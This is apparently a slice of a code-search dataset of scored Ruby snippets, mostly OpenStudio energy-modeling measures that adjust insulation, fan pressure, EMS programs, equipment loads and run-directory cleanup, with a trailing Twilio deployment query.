super(model, runner, user_arguments)\n \n #use the built-in error checking \n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Roof above finished space\n spaces = []\n surfaces = []\n model.getSpaces.each do |space|\n next if Geometry.space_is_unfinished(space)\n next if Geometry.space_is_below_grade(space)\n space.surfaces.each do |surface|\n next if surface.surfaceType.downcase != \"roofceiling\"\n next if surface.outsideBoundaryCondition.downcase != \"outdoors\"\n surfaces << surface\n if not spaces.include? space\n spaces << space\n end\n end\n end\n \n # Continue if no applicable surfaces\n if surfaces.empty?\n runner.registerAsNotApplicable(\"Measure not applied because no applicable surfaces were found.\")\n return true\n end \n \n # Get Inputs\n frRoofCavityInsRvalueInstalled = runner.getDoubleArgumentValue(\"cavity_r\",user_arguments)\n frRoofCavityInstallGrade = {\"I\"=>1, \"II\"=>2, \"III\"=>3}[runner.getStringArgumentValue(\"install_grade\",user_arguments)]\n frRoofCavityDepth = runner.getDoubleArgumentValue(\"cavity_depth\",user_arguments) \n frRoofCavityInsFillsCavity = runner.getBoolArgumentValue(\"ins_fills_cavity\",user_arguments)\n frRoofFramingFactor = runner.getDoubleArgumentValue(\"framing_factor\",user_arguments)\n \n # Validate Inputs\n if frRoofCavityInsRvalueInstalled < 0.0\n runner.registerError(\"Cavity Insulation Installed R-value must be greater than or equal to 0.\")\n return false\n end\n if frRoofCavityDepth <= 0.0\n runner.registerError(\"Cavity Depth must be greater than 0.\")\n return false\n end \n if frRoofFramingFactor < 0.0 or frRoofFramingFactor >= 1.0\n runner.registerError(\"Framing Factor must be greater than or equal to 0 and less than 1.\")\n return false\n end\n\n # Process the finished roof\n \n # Define materials\n if frRoofCavityInsRvalueInstalled > 0\n if frRoofCavityInsFillsCavity\n # Insulation\n mat_cavity = Material.new(name=nil, thick_in=frRoofCavityDepth, mat_base=BaseMaterial.InsulationGenericDensepack, k_in=frRoofCavityDepth / frRoofCavityInsRvalueInstalled)\n else\n # Insulation plus air gap when insulation thickness < cavity depth\n mat_cavity = Material.new(name=nil, thick_in=frRoofCavityDepth, mat_base=BaseMaterial.InsulationGenericDensepack, k_in=frRoofCavityDepth / (frRoofCavityInsRvalueInstalled + Gas.AirGapRvalue))\n end\n else\n # Empty cavity\n mat_cavity = Material.AirCavityClosed(frRoofCavityDepth)\n end\n mat_framing = Material.new(name=nil, thick_in=frRoofCavityDepth, mat_base=BaseMaterial.Wood)\n mat_gap = Material.AirCavityClosed(frRoofCavityDepth)\n \n # Set paths\n gapFactor = Construction.get_wall_gap_factor(frRoofCavityInstallGrade, frRoofFramingFactor, frRoofCavityInsRvalueInstalled)\n path_fracs = [frRoofFramingFactor, 1 - frRoofFramingFactor - gapFactor, gapFactor]\n \n # Define construction\n roof = Construction.new(path_fracs)\n roof.add_layer(Material.AirFilmRoof(Geometry.calculate_avg_roof_pitch(spaces)), false)\n roof.add_layer(Material.DefaultCeilingMass, false) # thermal mass added in separate measure\n roof.add_layer([mat_framing, mat_cavity, mat_gap], true, \"RoofIns\")\n roof.add_layer(Material.DefaultRoofSheathing, false) # roof sheathing added in separate measure\n roof.add_layer(Material.DefaultRoofMaterial, false) # roof material added in separate measure\n roof.add_layer(Material.AirFilmOutside, false)\n \n # Create and assign construction to surfaces\n if not roof.create_and_assign_constructions(surfaces, runner, model, name=\"FinInsExtRoof\")\n return false\n end\n \n # Store info for HVAC Sizing measure\n units = Geometry.get_building_units(model, runner)\n if units.nil?\n return false\n end\n surfaces.each do |surface|\n units.each do |unit|\n next if not unit.spaces.include?(surface.space.get)\n unit.setFeature(Constants.SizingInfoRoofCavityRvalue(surface), frRoofCavityInsRvalueInstalled)\n end\n end\n \n # Remove any constructions/materials that aren't used\n HelperMethods.remove_unused_constructions_and_materials(model, runner)\n\n return true\n \n end", "title": "" }, { "docid": "9240742ca53b999d516110757ba8330c", "score": "0.58170295", "text": "def deco_args; end", "title": "" }, { "docid": "53a521a4260e2edd02b2ca3dd77dd076", "score": "0.5816705", "text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Assign the user inputs to variables\n apply_measure = runner.getStringArgumentValue(\"apply_measure\",user_arguments)\n pressure_drop_reduction_pct = runner.getDoubleArgumentValue(\"pressure_drop_reduction_pct\",user_arguments)\n\n # Convert the pressure drop reduction to a multiplier\n pd_mult = (100 - pressure_drop_reduction_pct)/100\n \n # This measure is not applicable if apply_measure is false\n if apply_measure == \"FALSE\"\n runner.registerAsNotApplicable(\"Not Applicable - User chose not to apply this measure via the apply_measure argument.\")\n return true\n end \n \n # Check arguments for reasonableness\n if pressure_drop_reduction_pct <= 0 || pressure_drop_reduction_pct >= 100 \n runner.registerError(\"Pressure drop reduction percent must be between 0 and 100.\")\n return false\n end\n\n # Loop through all air loops, find the fan,\n # and reduce the pressure drop to model the impact\n # of lower pressure drop filters.\n air_loops_pd_lowered = []\n air_loops = []\n model.getAirLoopHVACs.each do |air_loop|\n air_loops << air_loop\n air_loop.supplyComponents.each do |supply_comp|\n fan = nil\n if supply_comp.to_FanConstantVolume.is_initialized\n fan = supply_comp.to_FanConstantVolume.get\n elsif supply_comp.to_FanVariableVolume.is_initialized\n fan = supply_comp.to_FanVariableVolume.get\n end\n if !fan.nil?\n current_pd_pa = fan.pressureRise\n current_pd_inh2o = OpenStudio.convert(current_pd_pa, \"Pa\", \"inH_{2}O\").get\n new_pd_inh2o = current_pd_inh2o * pd_mult\n new_pd_pa = OpenStudio.convert(new_pd_inh2o, \"inH_{2}O\", \"Pa\").get\n fan.setPressureRise(new_pd_pa)\n runner.registerInfo(\"Lowered pressure drop on #{air_loop.name} by #{pressure_drop_reduction_pct}% from #{current_pd_inh2o.round(1)} in W.C to #{new_pd_inh2o.round(1)} in W.C.\")\n air_loops_pd_lowered << air_loop\n end\n end\n end\n \n # Not applicable if no air loops\n if air_loops.size == 0\n runner.registerAsNotApplicable(\"This measure is not applicable because there were no airloops in the building.\")\n return true \n end\n \n # Not applicable if no airloops were modified\n if air_loops_pd_lowered.size == 0\n runner.registerAsNotApplicable(\"This measure is not applicable because none of the airloops in the model were impacted.\")\n return true\n end \n \n # Report final condition\n runner.registerFinalCondition(\"Lowered fan static pressure on #{air_loops_pd_lowered.size} air loops to reflect improved duct routing.\")\n\n return true\n\n end", "title": "" }, { "docid": "98be183bacea0b93f865dcb476b3ac9c", "score": "0.58124703", "text": "def measure(&block)\n @measure = block\n end", "title": "" }, { "docid": "19c8ec94ec211d6213f872d6f12b8938", "score": "0.580619", "text": "def finished=(_arg0); end", "title": "" }, { "docid": "1629cb6ca0d9a21d0507c0911367bdbd", "score": "0.5799609", "text": "def run(workspace, runner, user_arguments)\n super(workspace, runner, user_arguments)\n\n #use the built-in error checking \n if not runner.validateUserArguments(arguments(workspace), user_arguments)\n return false\n end\n \n # Report that this is an anti-measure\n runner.registerValue('anti_measure',true) \n \n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end\n \n require 'json'\n \n # Get the last openstudio model\n model = runner.lastOpenStudioModel\n if model.empty?\n runner.registerError(\"Could not load last OpenStudio model, cannot apply measure.\")\n return false\n end\n model = model.get\n \n results = {}\n airloop_name = []\n # Loop over the airloops to find valid ones for this measure\n model.getAirLoopHVACs.each do |air_loop|\n found_vav_hwcoil = 0 #have not found any cooling coils\n found_hwcoil = 0 #have not found any heating coils\n found_fan = 0 #have not found any fans \n found_mixed_oa_node = 0\n temp = {}\n temp2 = []\n #is supply fan variable volume\n if air_loop.supplyFan.is_initialized\n if air_loop.supplyFan.get.to_FanVariableVolume.is_initialized\n runner.registerInfo(\"Found #{air_loop.supplyFan.get.to_FanVariableVolume.get.name.get} on #{air_loop.name}\")\n temp[:fan] = \"#{air_loop.supplyFan.get.to_FanVariableVolume.get.name.get}\"\n found_fan += 1\n end\n else\n runner.registerInfo(\"no VAV on airloop #{air_loop.name}, skipping\")\n next\n end\n \n air_loop.supplyComponents.each do |component| \n # Get the cooling coil directly from the airloop\n if component.to_CoilHeatingWater.is_initialized\n hw_coil = component.to_CoilHeatingWater.get\n runner.registerInfo(\"Found #{hw_coil.name} on #{air_loop.name}\")\n found_hwcoil += 1 #found necessary coil heating water\n temp[:hw_coil] = \"#{hw_coil.name}\"\n hw_coil_outnode = hw_coil.to_WaterToAirComponent.get.airOutletModelObject.get.name.get\n runner.registerInfo(\"Found #{hw_coil_outnode} on #{air_loop.name}\")\n temp[:hw_coil_outnode] = hw_coil_outnode\n end\n end\n \n next if found_hwcoil == 0\n \n air_loop.demandComponents.each do |component| \n # Get the cooling coil directly from the airloop\n if component.to_AirTerminalSingleDuctVAVReheat.is_initialized\n if component.to_AirTerminalSingleDuctVAVReheat.get.reheatCoil.to_CoilHeatingWater.is_initialized\n vav_hw_coil = component.to_AirTerminalSingleDuctVAVReheat.get.reheatCoil.to_CoilHeatingWater.get.name.get\n runner.registerInfo(\"Found #{vav_hw_coil} on #{air_loop.name}\")\n found_vav_hwcoil += 1 #found necessary coil heating water\n temp2 << \"#{vav_hw_coil}\"\n end\n end\n end\n temp[:vav_hwcoil] = temp2\n \n next if found_vav_hwcoil == 0\n \n if air_loop.airLoopHVACOutdoorAirSystem.is_initialized\n mixed_oa_node = air_loop.airLoopHVACOutdoorAirSystem.get.mixedAirModelObject.get.name.get\n temp[:mixed_oa_node] = \"#{mixed_oa_node}\"\n runner.registerInfo(\"Found #{mixed_oa_node} on #{air_loop.name}\")\n found_mixed_oa_node += 1\n end\n \n next if found_mixed_oa_node == 0\n \n supply_outnode = air_loop.supplyOutletNode.name.get\n temp[:supply_outnode] = \"#{supply_outnode}\"\n runner.registerInfo(\"Found #{supply_outnode} on #{air_loop.name}\")\n if (found_vav_hwcoil + found_hwcoil + found_fan) >= 3\n results[\"#{air_loop.name}\"] = temp\n airloop_name << \"#{air_loop.name}\"\n runner.registerInfo(\"Adding valid AirLoop #{air_loop.name} to results.\")\n end\n end\n #save airloop parsing results to ems_results.json\n runner.registerInfo(\"Saving ems_results.json\")\n FileUtils.mkdir_p(File.dirname(\"ems_results.json\")) unless Dir.exist?(File.dirname(\"ems_results.json\"))\n File.open(\"ems_results.json\", 'w') {|f| f << JSON.pretty_generate(results)}\n \n if results.empty?\n runner.registerWarning(\"No Airloops are appropriate for this measure\")\n runner.registerAsNotApplicable(\"No Airloops are appropriate for this measure\")\n #save blank ems_advanced_rtu_controls.ems file so Eplus measure does not crash\n ems_string = \"\"\n runner.registerInfo(\"Saving blank ems_advanced_rtu_controls file\")\n FileUtils.mkdir_p(File.dirname(\"ems_hot_water_coil_valve_leakage.ems\")) unless Dir.exist?(File.dirname(\"ems_hot_water_coil_valve_leakage.ems\"))\n File.open(\"ems_hot_water_coil_valve_leakage.ems\", \"w\") do |f|\n f.write(ems_string)\n end\n return true\n end\n \n runner.registerInfo(\"Making EMS string for Hot Water Coil Valve Leakage\")\n #start making the EMS code\n ems_string = \"\" #clear out the ems_string\n results.each_with_index do |(key, value), i|\n values = value[:vav_hwcoil]\n j = 0\n values.each do |value2|\n j +=1\n ems_string << \"\\n\"\n ems_string << \"EnergyManagementSystem:Sensor,\" + \"\\n\"\n ems_string << \" VAV#{i+1}_#{j},\" + \"\\n\"\n ems_string << \" #{value2},\" + \"\\n\"\n ems_string << \" Heating Coil Heating Rate;\" + \"\\n\"\n end\n ems_string << \"\\n\" \n ems_string << \"EnergyManagementSystem:Sensor,\" + \"\\n\"\n ems_string << \" VAV#{i+1}_MA_Temp,\" + \"\\n\"\n ems_string << \" #{value[:mixed_oa_node]},\" + \"\\n\"\n ems_string << \" System Node Temperature;\" + \"\\n\"\n ems_string << \"\\n\"\n ems_string << \"EnergyManagementSystem:Sensor,\" + \"\\n\"\n ems_string << \" VAV#{i+1}_TempSP,\" + \"\\n\"\n ems_string << \" #{value[:supply_outnode]},\" + \"\\n\"\n ems_string << \" System Node Setpoint Temperature;\" + \"\\n\"\n ems_string << \"\\n\" \n ems_string << \"EnergyManagementSystem:Actuator,\" + \"\\n\"\n ems_string << \" VAV#{i+1}_HeatC_TempSP,\" + \"\\n\"\n ems_string << \" #{value[:hw_coil_outnode]},\" + \"\\n\"\n ems_string << \" System Node Setpoint,\" + \"\\n\"\n ems_string << \" Temperature Setpoint;\" + \"\\n\"\n ems_string << \"\\n\" \n ems_string << \"EnergyManagementSystem:ProgramCallingManager,\" + \"\\n\"\n ems_string << \" LeakageHeat_Manager#{i+1},\" + \"\\n\"\n ems_string << \" AfterPredictorAfterHVACManagers,\" + \"\\n\"\n ems_string << \" AHU#{i+1}HWCoilLeakage;\" + \"\\n\"\n ems_string << \"\\n\"\n ems_string << \"EnergyManagementSystem:Program,\" + \"\\n\"\n ems_string << \" AHU#{i+1}HWCoilLeakage,\" + \"\\n\"\n ems_string << \" ! Determine if any of the reheat coils are calling for heating\" + \"\\n\"\n ems_string << \" SET HW_Flow = 0,\" + \"\\n\"\n values = value[:vav_hwcoil]\n j = 0\n values.each do |value2|\n j += 1\n ems_string << \" IF VAV#{i+1}_#{j} > 0,\" + \"\\n\"\n ems_string << \" SET HW_Flow = 1,\" + \"\\n\"\n ems_string << \" ENDIF,\" + \"\\n\"\n end\n ems_string << \" ! Change the heating coil outlet setpoint\" + \"\\n\"\n ems_string << \" IF HW_Flow == 1,\" + \"\\n\"\n ems_string << \" IF VAV#{i+1}_MA_Temp < VAV#{i+1}_TempSP,\" + \"\\n\"\n ems_string << \" SET VAV#{i+1}_HeatC_TempSP = VAV1_TempSP,\" + \"\\n\"\n ems_string << \" ELSE,\" + \"\\n\"\n ems_string << \" SET VAV1_HeatC_TempSP = VAV1_MA_Temp + 5, \" + \"\\n\"\n ems_string << \" ENDIF,\" + \"\\n\"\n ems_string << \" ELSE,\" + \"\\n\"\n ems_string << \" SET VAV#{i+1}_HeatC_TempSP = VAV#{i+1}_TempSP,\" + \"\\n\"\n ems_string << \" ENDIF;\" + \"\\n\"\n ems_string << \"\\n\"\n end\n #save EMS snippet\n runner.registerInfo(\"Saving ems_hot_water_coil_valve_leakage file\")\n FileUtils.mkdir_p(File.dirname(\"ems_hot_water_coil_valve_leakage.ems\")) unless Dir.exist?(File.dirname(\"ems_hot_water_coil_valve_leakage.ems\"))\n File.open(\"ems_hot_water_coil_valve_leakage.ems\", \"w\") do |f|\n f.write(ems_string)\n end\n \n #unique initial conditions based on\n runner.registerInitialCondition(\"The model contained #{airloop_name.size} number of VAV systems with hot water heating and reheat\")\n\n #reporting final condition of model\n runner.registerFinalCondition(\"The following systems had leakage introduced to the hot water coils in their air handlers: #{airloop_name}\")\n\n \n ems_path = '../HotWaterCoilValveLeakage/ems_hot_water_coil_valve_leakage.ems'\n json_path = '../HotWaterCoilValveLeakage/ems_results.json'\n if File.exist? ems_path\n ems_string = File.read(ems_path)\n if File.exist? json_path\n json = JSON.parse(File.read(json_path))\n end\n else\n ems_path2 = Dir.glob('../../**/ems_hot_water_coil_valve_leakage.ems')\n ems_path1 = ems_path2[0]\n json_path2 = Dir.glob('../../**/ems_results.json')\n json_path1 = json_path2[0]\n if ems_path2.size > 1\n runner.registerWarning(\"more than one ems_hot_water_coil_valve_leakage.ems file found. Using first one found.\")\n end\n if !ems_path1.nil? \n if File.exist? ems_path1\n ems_string = File.read(ems_path1)\n if File.exist? json_path1\n json = JSON.parse(File.read(json_path1))\n else\n runner.registerError(\"ems_results.json file not located\") \n end \n else\n runner.registerError(\"ems_hot_water_coil_valve_leakage.ems file not located\")\n end \n else\n runner.registerError(\"ems_hot_water_coil_valve_leakage.ems file not located\") \n end\n end\n if json.nil?\n runner.registerError(\"ems_results.json file not located\")\n return false\n end\n\n \n if json.empty?\n runner.registerWarning(\"No Airloops are appropriate for this measure\")\n return true\n end\n \n idf_file = OpenStudio::IdfFile::load(ems_string, 'EnergyPlus'.to_IddFileType).get\n runner.registerInfo(\"Adding EMS code to workspace\")\n workspace.addObjects(idf_file.objects)\n \n return true\n\n end", "title": "" }, { "docid": "f9e84bc86af4fe381288c22572b1c3ef", "score": "0.5787281", "text": "def arguments(model)\n args = OpenStudio::Measure::OSArgumentVector.new\n\n # Add a check box for specifying verbose info statements\n\tverbose_info_statements = OpenStudio::Ruleset::OSArgument::makeBoolArgument(\"verbose_info_statements\", false)\n\tverbose_info_statements.setDisplayName(\"Check to allow measure to generate verbose runner.registerInfo statements.\")\n\tverbose_info_statements.setDefaultValue(false)\n\targs << verbose_info_statements\n \n # Argument #1 - choice list of lighting schedules to modify use to reduce the power demand\n sch_handles = OpenStudio::StringVector.new\n sch_display_names = OpenStudio::StringVector.new\n\n #putting schedule names into hash\n sch_hash = {}\n model.getSchedules.each do |sch|\n sch_hash[sch.name.to_s] = sch\n end\n\n #looping through sorted hash of schedules\n sch_hash.sort.map do |sch_name, sch|\n if not sch.scheduleTypeLimits.empty?\n unitType = sch.scheduleTypeLimits.get.unitType\n #puts \"#{sch.name}, #{unitType}\"\n if unitType == \"Dimensionless\"\n sch_handles << sch.handle.to_s\n sch_display_names << sch_name\n end\n end\n end\n\n # Make a Choice Argument for the Fractional Lighting Schedule to be used for to apply demand reduction reductions to\n lighting_sch = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"lighting_sch\", sch_handles, sch_display_names, true)\n lighting_sch.setDisplayName(\"Choose a Schedule attached to Lighting Definitons which will be altered to meet demand reduction targets. Lighting demand will be reduced for datacenter thermal zones if this schedule is attached to them.\")\n args << lighting_sch \n \n # Argument #2 - choice list of T-stat schedules to modify the cooling setpiont use to reduce the power demand\n sch_handles2 = OpenStudio::StringVector.new\n sch_display_names2 = OpenStudio::StringVector.new\n\n #putting schedule names into hash\n sch_hash2 = {}\n model.getSchedules.each do |sch_2|\n sch_hash2[sch_2.name.to_s] = sch_2\n end\n\n #looping through sorted hash of schedules\n sch_hash2.sort.map do |sch_name_2, sch_2|\n if not sch_2.scheduleTypeLimits.empty?\n unitType = sch_2.scheduleTypeLimits.get.unitType\n if unitType == \"Temperature\"\n sch_handles2 << sch_2.handle.to_s\n sch_display_names2 << sch_name_2\n end\n end\n end\n\n # Make a Choice Argument for the Cooling T=stat Schedule to be used for to apply demand reduction reductions to\n clg_tstat_sch = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"clg_tstat_sch\", sch_handles2, sch_display_names2, true)\n clg_tstat_sch.setDisplayName(\"Choose a Temp Schedule representing the Clg T-Stat Sch to be reduced to meet demand reduction targets. The chosen schedule should not serve datacenter areas, as they are not effected by demand response actions.\")\n args << clg_tstat_sch \n \n # Make a double precision argument for the relative electrical demand reduction target \n relative_demand_reduction_target = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"relative_demand_reduction_target\",true)\n relative_demand_reduction_target.setDisplayName(\"Relative Demand Reduction Target\")\n relative_demand_reduction_target.setDescription(\"% of Whole Building Demand Reduction expected (Min 0 - Max 0.35).\")\n relative_demand_reduction_target.setDefaultValue(0.15)\n relative_demand_reduction_target.setMinValue(0.0)\n relative_demand_reduction_target.setMaxValue(0.35)\n args << relative_demand_reduction_target\n\n # Make a choice argument for setting EMS InternalVariableAvailabilityDictionaryReporting value\n int_var_avail_dict_rep_chs = OpenStudio::StringVector.new\n int_var_avail_dict_rep_chs << 'None'\n int_var_avail_dict_rep_chs << 'NotByUniqueKeyNames'\n int_var_avail_dict_rep_chs << 'Verbose'\n \n internal_variable_availability_dictionary_reporting = OpenStudio::Measure::OSArgument.makeChoiceArgument('internal_variable_availability_dictionary_reporting', int_var_avail_dict_rep_chs, true)\n internal_variable_availability_dictionary_reporting.setDisplayName('Level of output reporting related to the EMS internal variables that are available.')\n internal_variable_availability_dictionary_reporting.setDefaultValue('None')\n args << internal_variable_availability_dictionary_reporting\n \n # Make a choice argument for setting EMSRuntimeLanguageDebugOutputLevel value\n ems_runtime_language_debug_level_chs = OpenStudio::StringVector.new\n ems_runtime_language_debug_level_chs << 'None'\n ems_runtime_language_debug_level_chs << 'ErrorsOnly'\n ems_runtime_language_debug_level_chs << 'Verbose'\n \n ems_runtime_language_debug_output_level = OpenStudio::Measure::OSArgument.makeChoiceArgument('ems_runtime_language_debug_output_level', ems_runtime_language_debug_level_chs, true)\n ems_runtime_language_debug_output_level.setDisplayName('Level of output reporting related to the execution of EnergyPlus Runtime Language, written to .edd file.')\n ems_runtime_language_debug_output_level.setDefaultValue('None')\n args << ems_runtime_language_debug_output_level\n \n # Make a choice argument for setting EMS ActuatorAvailabilityDictionaryReportingvalue\n actuator_avail_dict_rep_chs = OpenStudio::StringVector.new\n actuator_avail_dict_rep_chs << 'None'\n actuator_avail_dict_rep_chs << 'NotByUniqueKeyNames'\n actuator_avail_dict_rep_chs << 'Verbose'\n \n actuator_availability_dictionary_reporting = OpenStudio::Measure::OSArgument.makeChoiceArgument('actuator_availability_dictionary_reporting', actuator_avail_dict_rep_chs, true)\n actuator_availability_dictionary_reporting.setDisplayName('Level of output reporting related to the EMS actuators that are available.')\n actuator_availability_dictionary_reporting.setDefaultValue('None')\n args << actuator_availability_dictionary_reporting\n \n return args\n end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.57718754", "text": "def end; end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.57718754", "text": "def end; end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.57718754", "text": "def end; end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.57718754", "text": "def end; end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.57718754", "text": "def end; end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.57718754", "text": "def end; end", "title": "" }, { "docid": "281e9a43f3408650bd69047a8fabab55", "score": "0.57718754", "text": "def end; end", "title": "" }, { "docid": "e8b640215ff12e16b1f780dcdc130964", "score": "0.57699186", "text": "def run(runner, user_arguments)\n super(runner, user_arguments)\n\n # use the built-in error checking\n unless runner.validateUserArguments(arguments, user_arguments)\n false\n end\n\n # assign the user inputs to variables\n args = {}\n file_types.each do |k, v|\n args[k] = runner.getBoolArgumentValue(k, user_arguments)\n end\n\n initial_string = 'The following files were in the local run directory prior to the execution of this measure: '\n Dir.entries('./../').each do |f|\n initial_string << \"#{f}, \"\n end\n initial_string = initial_string[0..(initial_string.length - 3)] + '.'\n runner.registerInitialCondition(initial_string)\n\n # TODO: - code to remove sizing runs is not functional yet\n # delete run directories\n file_types.each do |k, v|\n next if !args[k]\n if v == 'Sizing Run Directories'\n\n Dir.glob('./../**/output').select { |e| File.directory? e }.each do |f|\n runner.registerInfo(\"Removing #{f} directory.\")\n FileUtils.rm_f Dir.glob(\"#{f}/*\")\n FileUtils.remove_dir(f, true)\n end\n # sometimes SizingRun seems to be used instead of output\n Dir.glob('./../**/SizingRun').select { |e| File.directory? e }.each do |f|\n runner.registerInfo(\"Removing #{f} directory.\")\n FileUtils.rm_f Dir.glob(\"#{f}/*\")\n FileUtils.remove_dir(f, true)\n end\n\n else\n Dir.glob(\"./../#{v}\").each do |f|\n File.delete(f)\n runner.registerInfo(\"Deleted #{f} from the run directory.\") if !File.exist?(f)\n end\n end\n end\n\n final_string = 'The following files were in the local run directory following to the execution of this measure: '\n Dir.entries('./..').each do |f|\n final_string << \"#{f}, \"\n end\n final_string = final_string[0..(final_string.length - 3)] + '.'\n runner.registerFinalCondition(final_string)\n\n true\n end", "title": "" }, { "docid": "e8b640215ff12e16b1f780dcdc130964", "score": "0.57699186", "text": "def run(runner, user_arguments)\n super(runner, user_arguments)\n\n # use the built-in error checking\n unless runner.validateUserArguments(arguments, user_arguments)\n false\n end\n\n # assign the user inputs to variables\n args = {}\n file_types.each do |k, v|\n args[k] = runner.getBoolArgumentValue(k, user_arguments)\n end\n\n initial_string = 'The following files were in the local run directory prior to the execution of this measure: '\n Dir.entries('./../').each do |f|\n initial_string << \"#{f}, \"\n end\n initial_string = initial_string[0..(initial_string.length - 3)] + '.'\n runner.registerInitialCondition(initial_string)\n\n # TODO: - code to remove sizing runs is not functional yet\n # delete run directories\n file_types.each do |k, v|\n next if !args[k]\n if v == 'Sizing Run Directories'\n\n Dir.glob('./../**/output').select { |e| File.directory? e }.each do |f|\n runner.registerInfo(\"Removing #{f} directory.\")\n FileUtils.rm_f Dir.glob(\"#{f}/*\")\n FileUtils.remove_dir(f, true)\n end\n # sometimes SizingRun seems to be used instead of output\n Dir.glob('./../**/SizingRun').select { |e| File.directory? e }.each do |f|\n runner.registerInfo(\"Removing #{f} directory.\")\n FileUtils.rm_f Dir.glob(\"#{f}/*\")\n FileUtils.remove_dir(f, true)\n end\n\n else\n Dir.glob(\"./../#{v}\").each do |f|\n File.delete(f)\n runner.registerInfo(\"Deleted #{f} from the run directory.\") if !File.exist?(f)\n end\n end\n end\n\n final_string = 'The following files were in the local run directory following to the execution of this measure: '\n Dir.entries('./..').each do |f|\n final_string << \"#{f}, \"\n end\n final_string = final_string[0..(final_string.length - 3)] + '.'\n runner.registerFinalCondition(final_string)\n\n true\n end", "title": "" }, { "docid": "a377b72ebde817130be2d608cce1583e", "score": "0.57647324", "text": "def args_counted!\n source[-1] = :args_counted\n end", "title": "" }, { "docid": "f4c196529f25b1a1a2f6a5c60fac5c33", "score": "0.5761192", "text": "def clear_args; end", "title": "" }, { "docid": "199f0856685f932b5005e5f017684238", "score": "0.57507175", "text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n #use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end \n \n # Define assumptions\n desktop_power_w = 175\n runner.registerInfo(\"Assume that each desktop uses #{desktop_power_w.round}W at peak.\")\n frac_desktop = 0.53\n other_power_w = 45 # thin client\n runner.registerInfo(\"Assume that each thin client uses #{other_power_w.round}W at peak.\")\n frac_other = 0.47\n \n # Get the total number of occupants in the building\n total_occ = model.getBuilding.numberOfPeople\n\n # Determine the total wattage of electric equipment\n # currently in the building.\n initial_equip_power_w = model.getBuilding.electricEquipmentPower\n \n # Calculate the number of desktops currently in the building\n num_desktops = total_occ * frac_desktop\n runner.registerInitialCondition(\"There are #{total_occ.round} people in this building. Assuming #{frac_desktop} of them have desktops (and that the remainder have laptops already), there are currently #{num_desktops.round} desktops in the building. There are currently #{initial_equip_power_w.round} W of electric equipment installed in the building.\")\n \n # Determine the wattage reduction that would occur from\n # replacing the existing desktops with laptops.\n pwr_reduction_w = (desktop_power_w - other_power_w) * num_desktops\n \n # Determine the fraction that all equipment must be reduced by \n # to represent the switch from desktops to another technology.\n # This reduction is spread over the entire building because\n # laptops aren't explicitly identified in the model.\n red_multiplier = 1 - (pwr_reduction_w / initial_equip_power_w)\n if pwr_reduction_w >= initial_equip_power_w\n runner.registerAsNotApplicable(\"The amount of power reduction calculated is greater than the total installed electric equipment power in the building. This likely means that not all occupants in the building were assumed to have computers, or that they are already assumed to have laptops, thin clients, or another similarly low power computer.\")\n return true\n end\n \n # Loop through all electric equipment definitions in the building\n # and lower their power by the fraction calculated above.\n model.getElectricEquipmentDefinitions.each do |equipment|\n if equipment.designLevel.is_initialized\n new_electric_equipment_level = equipment.setDesignLevel(equipment.designLevel.get * red_multiplier)\n elsif equipment.wattsperSpaceFloorArea.is_initialized\n new_electric_equipment_per_area = equipment.setWattsperSpaceFloorArea(equipment.wattsperSpaceFloorArea.get * red_multiplier)\n elsif equipment.wattsperPerson.is_initialized\n new_electric_equipment_per_person = equipment.setWattsperPerson(equipment.wattsperPerson.get * red_multiplier)\n else\n runner.registerWarning(\"'#{equipment.name}' has no load values. Its performance was not altered.\")\n end\n end\n\n # Determine the total wattage of electric equipment\n # now in the building.\n final_equip_power_w = model.getBuilding.electricEquipmentPower\n \n # Calculate the number of desktops currently in the building\n runner.registerFinalCondition(\"After replacing #{num_desktops.round} #{desktop_power_w.round}W desktops with #{other_power_w.round}W thin clients, there are now #{final_equip_power_w.round} W of electric equipment installed in the building.\")\n\n return true\n\n end", "title": "" } ]
09ed091106a7a186ad8298dbf5bcd0d8
When passed a block, yields DeploymentInstance records from the API. This operation lazily loads records as efficiently as possible until the limit is reached. source://twilioruby//lib/twilioruby/rest/serverless/v1/service/environment/deployment.rb71
[ { "docid": "abc7181aaa3fa40e9807e1a6e9021314", "score": "0.0", "text": "def each; end", "title": "" } ]
[ { "docid": "b881626835dcf87b9192ca9ea311b266", "score": "0.5969335", "text": "def deploy(&block)\n in_directory do\n self.setup!\n self.push_with_retry!\n block.call(self, api_rate_limit.call, output) if block_given?\n end\n ensure\n self.teardown!\n end", "title": "" }, { "docid": "df1921cc214d2662bd9d1d00fba0f97c", "score": "0.5346389", "text": "def each\n page_token = nil\n loop do\n response = client.list_instances @config.project_path,\n page_token: page_token\n\n response.instances.each do |instance|\n yield instance\n end\n page_token = response.next_page_token\n\n break if page_token.nil?\n end\n end", "title": "" }, { "docid": "bc1486e219c9a8c4a878015b44e18cc6", "score": "0.533371", "text": "def list(deployment_sid: T.unsafe(nil), limit: T.unsafe(nil), page_size: T.unsafe(nil)); end", "title": "" }, { "docid": "abb2f15f424d58b1d7785f1e84fb67ac", "score": "0.53317684", "text": "def fetch_deployments\n if params[:project_id]\n project = begin\n Project.find(params[:project_id])\n rescue ActiveRecord::RecordNotFound\n raise Exceptions::ApiParameterInvalid, \"Could not find project with ID #{params[:project_id]}\"\n end\n\n unless project.project_name == params[:project_name]\n raise 